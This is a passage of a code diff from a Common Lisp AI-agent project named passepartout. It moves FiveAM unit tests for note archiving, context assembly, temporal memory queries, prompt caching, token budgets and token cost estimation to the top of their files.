(fiveam:is (>= (length headlines) 1))))
(fiveam:test test-headline-to-filename
"Contract 2: archivist-headline-to-filename sanitizes titles."
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
(fiveam:is (not (search ":" filename)))))
(fiveam:test test-archivist-create-note
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
(uiop:ensure-all-directories-exist (list tmp-dir))
(unwind-protect
(progn
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
"Expected note creation to return T")
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
"Expected file test_note.org to exist"))
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))

134
lisp/symbolic-awareness.lisp
View File

@@ -1,3 +1,70 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-peripheral-vision-tests
(:use :cl :fiveam :passepartout)
(:export #:vision-suite))
(in-package :passepartout-peripheral-vision-tests)
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
(in-suite vision-suite)
(test test-foveal-rendering
"Contract 1: foveal content inline, peripheral content title-only."
(clrhash passepartout::*memory-store*)
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
:raw-content "FOVEAL CONTENT" :contents nil)
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
(ingest-ast ast)
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
(is (search "FOVEAL CONTENT" output))
(is (search "* Peripheral Node" output))
(is (not (search "PERIPHERAL CONTENT" output))))))
(test test-awareness-budget
"Contract 1: all active projects appear in awareness output."
(clrhash passepartout::*memory-store*)
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
(let ((output (context-awareness-assemble)))
(is (search "Project 1" output))
(is (search "Project 2" output))))
(test test-context-empty-memory
"Contract 1: empty memory produces clean output without error."
(clrhash passepartout::*memory-store*)
(let ((output (context-awareness-assemble)))
(is (stringp output))
(is (search "MEMEX" output :test #'char-equal))))
(test test-context-no-foveal-focus
"Contract 2: without foveal focus, no inline content appears."
(clrhash passepartout::*memory-store*)
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
:raw-content "CHILD CONTENT" :contents nil)))))
(ingest-ast ast)
(let ((output (context-awareness-assemble nil)))
(is (stringp output))
(is (not (search "CHILD CONTENT" output))))))
(test test-semantic-retrieval-trigram
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
(is (> sim 0.0))))
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
(is (> sim 0.75))))
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
(v6 (passepartout::embedding-backend-trigram "banana")))
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
(is (< sim 0.3)))))
(in-package :passepartout)
(defun context-query (&key tag todo-state type scope)
@@ -159,70 +226,3 @@ Privacy-filtered objects (matching the Dispatcher's privacy tags) are excluded."
(defskill :passepartout-symbolic-awareness
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-peripheral-vision-tests
(:use :cl :fiveam :passepartout)
(:export #:vision-suite))
(in-package :passepartout-peripheral-vision-tests)
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
(in-suite vision-suite)
(test test-foveal-rendering
"Contract 1: foveal content inline, peripheral content title-only."
(clrhash passepartout::*memory-store*)
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
:raw-content "FOVEAL CONTENT" :contents nil)
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
(ingest-ast ast)
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
(is (search "FOVEAL CONTENT" output))
(is (search "* Peripheral Node" output))
(is (not (search "PERIPHERAL CONTENT" output))))))
(test test-awareness-budget
"Contract 1: all active projects appear in awareness output."
(clrhash passepartout::*memory-store*)
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
(let ((output (context-awareness-assemble)))
(is (search "Project 1" output))
(is (search "Project 2" output))))
(test test-context-empty-memory
"Contract 1: empty memory produces clean output without error."
(clrhash passepartout::*memory-store*)
(let ((output (context-awareness-assemble)))
(is (stringp output))
(is (search "MEMEX" output :test #'char-equal))))
(test test-context-no-foveal-focus
"Contract 2: without foveal focus, no inline content appears."
(clrhash passepartout::*memory-store*)
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
:raw-content "CHILD CONTENT" :contents nil)))))
(ingest-ast ast)
(let ((output (context-awareness-assemble nil)))
(is (stringp output))
(is (not (search "CHILD CONTENT" output))))))
(test test-semantic-retrieval-trigram
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
(is (> sim 0.0))))
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
(is (> sim 0.75))))
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
(v6 (passepartout::embedding-backend-trigram "banana")))
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
(is (< sim 0.3)))))

84
lisp/symbolic-scope.lisp
View File

@@ -1,3 +1,45 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-context-tests
(:use :cl :passepartout)
(:export #:context-suite))
(in-package :passepartout-context-tests)
(fiveam:def-suite context-suite :description "Context manager verification")
(fiveam:in-suite context-suite)
(fiveam:test test-push-pop-context
"Contract 1-2: push-context and pop-context maintain stack order."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when stack-var
(setf (symbol-value stack-var) nil)
(push-context :project "testapp" :base-path "/tmp" :scope :project)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
(pop-context)
(fiveam:is (null (symbol-value stack-var))))))
(fiveam:test test-context-save-load
"Contract 3-4: context-save and context-load round-trip."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when (and stack-var pf-var)
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
(setf (symbol-value pf-var) tmpfile)
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
(context-save)
(fiveam:is (probe-file tmpfile))
(setf (symbol-value stack-var) nil)
(context-load)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
(ignore-errors (delete-file tmpfile))))))
(in-package :passepartout)
(defvar *context-stack* nil
@@ -166,45 +208,3 @@ until stack is empty or :memex context is reached."
;; Restore persisted context on load
(context-load)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-context-tests
(:use :cl :passepartout)
(:export #:context-suite))
(in-package :passepartout-context-tests)
(fiveam:def-suite context-suite :description "Context manager verification")
(fiveam:in-suite context-suite)
(fiveam:test test-push-pop-context
"Contract 1-2: push-context and pop-context maintain stack order."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when stack-var
(setf (symbol-value stack-var) nil)
(push-context :project "testapp" :base-path "/tmp" :scope :project)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
(pop-context)
(fiveam:is (null (symbol-value stack-var))))))
(fiveam:test test-context-save-load
"Contract 3-4: context-save and context-load round-trip."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when (and stack-var pf-var)
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
(setf (symbol-value pf-var) tmpfile)
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
(context-save)
(fiveam:is (probe-file tmpfile))
(setf (symbol-value stack-var) nil)
(context-load)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
(ignore-errors (delete-file tmpfile))))))

100
lisp/symbolic-time-memory.lisp
View File

@@ -1,3 +1,53 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-time-memory-tests
(:use :cl :fiveam :passepartout)
(:export #:time-memory-suite))
(in-package :passepartout-time-memory-tests)
(def-suite time-memory-suite :description "Temporal memory filtering")
(in-suite time-memory-suite)
(test test-memory-objects-since
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
(clrhash passepartout::*memory-store*)
(let ((t0 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
(sleep 1)
(let ((t1 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
(let ((since-t1 (passepartout::memory-objects-since t1)))
(is (= 2 (length since-t1)))
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
(is (string= "time-c" (first ids)))
(is (string= "time-d" (second ids))))
(let ((since-t0 (passepartout::memory-objects-since t0)))
(is (= 4 (length since-t0))))))))
(test test-memory-objects-in-range
"Contract 2: ingest nodes, verify range query returns correct subset."
(clrhash passepartout::*memory-store*)
(let ((t0 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
(sleep 1)
(let ((t1 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
(sleep 1)
(let ((t2 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
(let ((range (passepartout::memory-objects-in-range t1 t2)))
(is (= 1 (length range)))
(is (string= "rng-2" (memory-object-id (first range)))))))))
(in-package :passepartout)
(defun memory-objects-since (timestamp)
@@ -61,53 +111,3 @@ Falls back to context-query if temporal filtering is not requested."
time-filtered)
time-filtered)))
(subseq todo-filtered 0 (min max-results (length todo-filtered))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-time-memory-tests
(:use :cl :fiveam :passepartout)
(:export #:time-memory-suite))
(in-package :passepartout-time-memory-tests)
(def-suite time-memory-suite :description "Temporal memory filtering")
(in-suite time-memory-suite)
(test test-memory-objects-since
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
(clrhash passepartout::*memory-store*)
(let ((t0 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
(sleep 1)
(let ((t1 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
(let ((since-t1 (passepartout::memory-objects-since t1)))
(is (= 2 (length since-t1)))
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
(is (string= "time-c" (first ids)))
(is (string= "time-d" (second ids))))
(let ((since-t0 (passepartout::memory-objects-since t0)))
(is (= 4 (length since-t0))))))))
(test test-memory-objects-in-range
"Contract 2: ingest nodes, verify range query returns correct subset."
(clrhash passepartout::*memory-store*)
(let ((t0 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
(sleep 1)
(let ((t1 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
(sleep 1)
(let ((t2 (get-universal-time)))
(sleep 1)
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
(let ((range (passepartout::memory-objects-in-range t1 t2)))
(is (= 1 (length range)))
(is (string= "rng-2" (memory-object-id (first range)))))))))

198
lisp/token-economics.lisp
View File

@@ -1,3 +1,102 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-token-economics-tests
(:use :cl :fiveam :passepartout)
(:export #:token-economics-suite))
(in-package :passepartout-token-economics-tests)
(def-suite token-economics-suite
:description "Prompt prefix caching, incremental context, token budget")
(in-suite token-economics-suite)
(test test-prompt-prefix-cached-identity
"Contract 1: prompt-prefix-cached includes identity-content when provided."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached
"Agent" "### Mode: concise" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "Mode: concise" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-builds
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-hits
"Contract 1: second call with same inputs returns cached result."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (string= p1 p2))))
(test test-prompt-prefix-cached-miss
"Contract 1: different inputs rebuild the cache."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
(is (not (string= p1 p2)))
(is (search "Bot" p2))))
(test test-context-assemble-cached-skips-heartbeat
"Contract 2: heartbeat sensors skip context assembly, return nil."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :heartbeat)))
(is (null result))))
(test test-context-assemble-cached-skips-delegation
"Contract 2: delegation sensors also skip assembly."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :delegation)))
(is (null result))))
(test test-context-assemble-cached-non-skip
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :user-input)))
(is (stringp result))
(is (> (length result) 0))))
(test test-enforce-token-budget-passthrough
"Contract 3: under-budget prompts pass through unchanged."
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
(is (string= "hi" p))
(is (string= "ctxt" c))
(is (string= "log" l))
(is (string= "user" u))
(is (null m))))
(test test-enforce-token-budget-trims
"Contract 3: over-budget prompts get trimmed."
(let ((big-prefix (make-string 20000 :initial-element #\x)))
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
(declare (ignore p l u m))
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
(is (or (stringp c) (null c)))
(is (search "[Context trimmed" (or c ""))))))
(test test-token-economics-initialize
"Contract 4: initialize zeroes all cache state."
(setf (car passepartout::*prompt-prefix-cache*) 12345
(cdr passepartout::*prompt-prefix-cache*) "stale")
(setf (getf passepartout::*context-cache* :rendered) "stale context")
(passepartout::token-economics-initialize)
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
(in-package :passepartout)
(defvar *prompt-prefix-cache* (cons nil "")
@@ -122,105 +221,6 @@ Returns nil when no context cache data is available."
(min 100 (floor (* 100 tokens) limit))
nil)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-token-economics-tests
(:use :cl :fiveam :passepartout)
(:export #:token-economics-suite))
(in-package :passepartout-token-economics-tests)
(def-suite token-economics-suite
:description "Prompt prefix caching, incremental context, token budget")
(in-suite token-economics-suite)
(test test-prompt-prefix-cached-identity
"Contract 1: prompt-prefix-cached includes identity-content when provided."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached
"Agent" "### Mode: concise" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "Mode: concise" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-builds
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-hits
"Contract 1: second call with same inputs returns cached result."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (string= p1 p2))))
(test test-prompt-prefix-cached-miss
"Contract 1: different inputs rebuild the cache."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
(is (not (string= p1 p2)))
(is (search "Bot" p2))))
(test test-context-assemble-cached-skips-heartbeat
"Contract 2: heartbeat sensors skip context assembly, return nil."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :heartbeat)))
(is (null result))))
(test test-context-assemble-cached-skips-delegation
"Contract 2: delegation sensors also skip assembly."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :delegation)))
(is (null result))))
(test test-context-assemble-cached-non-skip
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :user-input)))
(is (stringp result))
(is (> (length result) 0))))
(test test-enforce-token-budget-passthrough
"Contract 3: under-budget prompts pass through unchanged."
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
(is (string= "hi" p))
(is (string= "ctxt" c))
(is (string= "log" l))
(is (string= "user" u))
(is (null m))))
(test test-enforce-token-budget-trims
"Contract 3: over-budget prompts get trimmed."
(let ((big-prefix (make-string 20000 :initial-element #\x)))
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
(declare (ignore p l u m))
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
(is (or (stringp c) (null c)))
(is (search "[Context trimmed" (or c ""))))))
(test test-token-economics-initialize
"Contract 4: initialize zeroes all cache state."
(setf (car passepartout::*prompt-prefix-cache*) 12345
(cdr passepartout::*prompt-prefix-cache*) "stale")
(setf (getf passepartout::*context-cache* :rendered) "stale context")
(passepartout::token-economics-initialize)
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage

144
lisp/tokenizer.lisp
View File

@@ -1,3 +1,75 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tokenizer-tests
(:use :cl :fiveam :passepartout)
(:export #:tokenizer-suite))
(in-package :passepartout-tokenizer-tests)
(def-suite tokenizer-suite :description "Token counting and cost estimation")
(in-suite tokenizer-suite)
(test test-count-tokens-default
"Contract 1: count-tokens returns non-zero for a non-empty string."
(let ((count (count-tokens "hello world")))
(is (> count 0))
(is (integerp count))))
(test test-count-tokens-known-model
"Contract 1: count-tokens with a known model returns a count."
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
(is (> count 0))
(is (integerp count))))
(test test-count-tokens-unknown-model
"Contract 1: count-tokens with an unknown model falls back to default."
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
(is (> count 0))
(is (integerp count))))
(test test-count-tokens-empty
"Contract 1: count-tokens on empty string returns 0."
(let ((count (count-tokens "")))
(is (= 0 count))))
(test test-model-token-ratio-known
"Contract 2: known model returns correct ratio."
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
(test test-model-token-ratio-unknown
"Contract 2: unknown model returns default ratio."
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
(test test-token-cost-known
"Contract 3: token-cost returns a number for known model."
(let ((cost (token-cost :gpt-4o-mini 1000)))
(is (numberp cost))
(is (> cost 0.0))))
(test test-token-cost-unknown
"Contract 3: token-cost returns 0.0 for unknown model."
(is (= 0.0 (token-cost :no-such-model 1000))))
(test test-provider-token-cost
"Contract: provider-token-cost maps provider to model price."
(let ((cost (provider-token-cost :deepseek 1000)))
(is (numberp cost))
(is (> cost 0.0))))
(test test-count-tokens-ratio-sensitivity
"Contract 1: longer text produces proportionally more tokens."
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
(is (> long short))))
(test test-count-tokens-non-string
"Contract 1: non-string values are coerced and counted."
(let ((count (count-tokens 12345)))
(is (> count 0))))
(in-package :passepartout)
(defparameter *model-token-ratios*
@@ -72,75 +144,3 @@ Uses the provider's default model for pricing."
(if model
(token-cost model token-count)
0.0)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tokenizer-tests
(:use :cl :fiveam :passepartout)
(:export #:tokenizer-suite))
(in-package :passepartout-tokenizer-tests)
(def-suite tokenizer-suite :description "Token counting and cost estimation")
(in-suite tokenizer-suite)
(test test-count-tokens-default
"Contract 1: count-tokens returns non-zero for a non-empty string."
(let ((count (count-tokens "hello world")))
(is (> count 0))
(is (integerp count))))
(test test-count-tokens-known-model
"Contract 1: count-tokens with a known model returns a count."
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
(is (> count 0))
(is (integerp count))))
(test test-count-tokens-unknown-model
"Contract 1: count-tokens with an unknown model falls back to default."
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
(is (> count 0))
(is (integerp count))))
(test test-count-tokens-empty
"Contract 1: count-tokens on empty string returns 0."
(let ((count (count-tokens "")))
(is (= 0 count))))
(test test-model-token-ratio-known
"Contract 2: known model returns correct ratio."
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
(test test-model-token-ratio-unknown
"Contract 2: unknown model returns default ratio."
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
(test test-token-cost-known
"Contract 3: token-cost returns a number for known model."
(let ((cost (token-cost :gpt-4o-mini 1000)))
(is (numberp cost))
(is (> cost 0.0))))
(test test-token-cost-unknown
"Contract 3: token-cost returns 0.0 for unknown model."
(is (= 0.0 (token-cost :no-such-model 1000))))
(test test-provider-token-cost
"Contract: provider-token-cost maps provider to model price."
(let ((cost (provider-token-cost :deepseek 1000)))
(is (numberp cost))
(is (> cost 0.0))))
(test test-count-tokens-ratio-sensitivity
"Contract 1: longer text produces proportionally more tokens."
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
(is (> long short))))
(test test-count-tokens-non-string
"Contract 1: non-string values are coerced and counted."
(let ((count (count-tokens 12345)))
(is (> count 0))))